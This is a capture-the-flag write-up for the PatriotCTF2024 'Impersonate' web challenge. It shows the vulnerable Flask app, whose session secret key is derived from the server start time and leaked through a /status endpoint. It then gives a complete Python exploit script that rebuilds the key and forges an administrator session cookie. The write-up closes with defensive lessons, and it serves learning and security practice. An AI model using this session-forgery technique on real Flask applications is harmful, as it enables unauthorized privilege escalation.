PatriotCTF2024 web/Impersonate
My solution for PatriotCTF2024 web/Impersonate challenge
Challenge overview
The Impersonate challenge presents a web application with a session-based authentication mechanism. The goal is to manipulate the session to gain administrator privileges and retrieve the flag.
Application code
app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/env python3
from flask import Flask, request, render_template, jsonify, abort, redirect, session
import uuid
import os
from datetime import datetime, timedelta
import hashlib
app = Flask(__name__)
server_start_time = datetime.now()
server_start_str = server_start_time.strftime('%Y%m%d%H%M%S')
secure_key = hashlib.sha256(f'secret_key_{server_start_str}'.encode()).hexdigest()
app.secret_key = secure_key
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(seconds=300)
flag = os.environ.get('FLAG', "flag{this_is_a_fake_flag}")
secret = uuid.UUID('31333337-1337-1337-1337-133713371337')
def is_safe_username(username):
"""Check if the username is alphanumeric and less than 20 characters."""
return username.isalnum() and len(username) < 20
@app.route('/', methods=['GET', 'POST'])
def main():
"""Handle the main page where the user submits their username."""
if request.method == 'GET':
return render_template('index.html')
elif request.method == 'POST':
username = request.values['username']
password = request.values['password']
if not is_safe_username(username):
return render_template('index.html', error='Invalid username')
if not password:
return render_template('index.html', error='Invalid password')
if username.lower().startswith('admin'):
return render_template('index.html', error='Don\'t try to impersonate administrator!')
if not username or not password:
return render_template('index.html', error='Invalid username or password')
uid = uuid.uuid5(secret, username)
session['username'] = username
session['uid'] = str(uid)
return redirect(f'/user/{uid}')
@app.route('/user/<uid>')
def user_page(uid):
"""Display the user's session page based on their UUID."""
try:
uid = uuid.UUID(uid)
except ValueError:
abort(404)
session['is_admin'] = False
return 'Welcome Guest! Sadly, you are not admin and cannot view the flag.'
@app.route('/admin')
def admin_page():
"""Display the admin page if the user is an admin."""
if session.get('is_admin') and uuid.uuid5(secret, 'administrator') and session.get('username') == 'administrator':
return flag
else:
abort(401)
@app.route('/status')
def status():
current_time = datetime.now()
uptime = current_time - server_start_time
formatted_uptime = str(uptime).split('.')[0]
formatted_current_time = current_time.strftime('%Y-%m-%d %H:%M:%S')
status_content = f"""Server uptime: {formatted_uptime}<br>
Server time: {formatted_current_time}
"""
return status_content
if __name__ == '__main__':
app.run("0.0.0.0", port=9999)
Initial analysis
Upon visiting the provided URL, the challenge appears to be a typical Flask-based web application with user authentication. The key to solving this challenge lies in understanding how the session management works and identifying potential vulnerabilities that allow session forgery or privilege escalation.
Deep dive into the application code
The provided Flask application code reveals several critical components:
- Secret key generation:
1 2 3 4
server_start_time = datetime.now() server_start_str = server_start_time.strftime('%Y%m%d%H%M%S') secure_key = hashlib.sha256(f'secret_key_{server_start_str}'.encode()).hexdigest() app.secret_key = secure_key
The
secret_key
is derived from the server’s start time, formatted asYYYYMMDDHHMMSS
, and then hashed using SHA-256. This deterministic key generation method is a potential vulnerability, especially if the server’s start time can be inferred. - Session handling:
1 2
session['username'] = username session['uid'] = str(uid)
User information is stored directly in the session without additional encryption or obfuscation.
- Admin page access control:
1 2 3 4
if session.get('is_admin') and uuid.uuid5(secret, 'administrator') and session.get('username') == 'administrator': return flag else: abort(401)
Access to the admin page requires the session to have
is_admin
set toTrue
, the username to be'administrator'
, and the UUID to match a specific value. The UUID is generated usinguuid.uuid5
with a predefinedsecret
UUID and the string'administrator'
. - Status endpoint:
1 2 3 4 5 6 7 8 9 10
@app.route('/status') def status(): current_time = datetime.now() uptime = current_time - server_start_time formatted_uptime = str(uptime).split('.')[0] formatted_current_time = current_time.strftime('%Y-%m-%d %H:%M:%S') status_content = f"""Server uptime: {formatted_uptime}<br> Server time: {formatted_current_time} """ return status_content
The
/status
endpoint reveals the server’s current time and uptime, which are crucial pieces of information for deducing thesecret_key
.
The core vulnerability stems from the predictable generation of the secret_key
. Since the secret_key
is derived from the server’s start time, which can be calculated using the information provided by the /status
endpoint, an attacker can reconstruct the secret_key
and forge a valid session cookie.
Steps to exploit
- Access the
/status
endpoint. - Reconstruct the
secret_key
. - Forge session cookie.
- Access admin page.
Exploit script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import requests
from flask import Flask
from flask.sessions import SecureCookieSessionInterface
import hashlib
from datetime import datetime, timedelta
import re
# Fetch the /status page
status_url = "http://chal.competitivecyber.club:9999/status"
response = requests.get(status_url)
status_text = response.text
# Parse the server time and uptime from the status page
match_uptime = re.search(r"Server uptime: ([\d:]+)", status_text)
if match_uptime:
uptime_str = match_uptime.group(1)
else:
print("Could not find uptime")
exit()
match_servertime = re.search(r"Server time: ([\d\-: ]+)", status_text)
if match_servertime:
server_time_str = match_servertime.group(1)
else:
print("Could not find server time")
exit()
# Convert strings to datetime and timedelta objects
(h, m, s) = map(int, uptime_str.split(":"))
uptime = timedelta(hours=h, minutes=m, seconds=s)
server_time = datetime.strptime(server_time_str, "%Y-%m-%d %H:%M:%S")
# Calculate server start time
server_start_time = server_time - uptime
server_start_str = server_start_time.strftime("%Y%m%d%H%M%S")
# Generate app.secret_key based on the app.py
secure_key = hashlib.sha256(f"secret_key_{server_start_str}".encode()).hexdigest()
# Create the session data
session_data = {"is_admin": True, "username": "administrator"}
# Create an instance of the Flask app and set the secret key
# and use SecureCookieSessionInterface to serialize the session data
app = Flask(__name__)
app.secret_key = secure_key
session_interface = SecureCookieSessionInterface()
serializer = session_interface.get_signing_serializer(app)
session_cookie = serializer.dumps(session_data)
# Make a request to the admin page with the session cookie
admin_url = "http://chal.competitivecyber.club:9999/admin"
s = requests.Session()
s.cookies.set("session", session_cookie, domain="chal.competitivecyber.club", path="/")
admin_response = s.get(admin_url)
print(admin_response.text)
Explanation:
- The script begins by fetching the
/status
page to obtain the server’s current time and uptime. - Using the retrieved uptime and current time, it calculates the server’s start time, which is essential for generating the
secret_key
. - By formatting the server’s start time and hashing it with SHA-256, the script reconstructs the
secure_key
used by the Flask application. - Utilizing Flask’s
SecureCookieSessionInterface
, the script serializes and signs the session data, embeddingis_admin: True
andusername: "administrator"
. - Finally, the script sets the forged session cookie and requests the
/admin
endpoint, successfully bypassing authentication and retrieving the flag.
Flag:
PCTF{Imp3rs0n4t10n_Iz_Sup3r_Ezz}
Conclusion
The Impersonate challenge elegantly demonstrates the pitfalls of predictable session key generation. By exposing the server’s start time through the /status
endpoint, the application inadvertently provided attackers with the necessary information to reconstruct the secret_key
. This oversight allowed for session forgery, enabling privilege escalation to the administrator level.
Key takeaways
- Avoid predictable secret keys: Secret keys should be generated using secure, random methods and not based on potentially observable data.
- Limit information exposure: Sensitive information like server uptime and current time should be handled cautiously to prevent leakage that could aid in attacks.
- Implement robust session management: Ensure that session data is not easily forgeable and that privilege checks are thorough and cannot be bypassed through simple manipulations.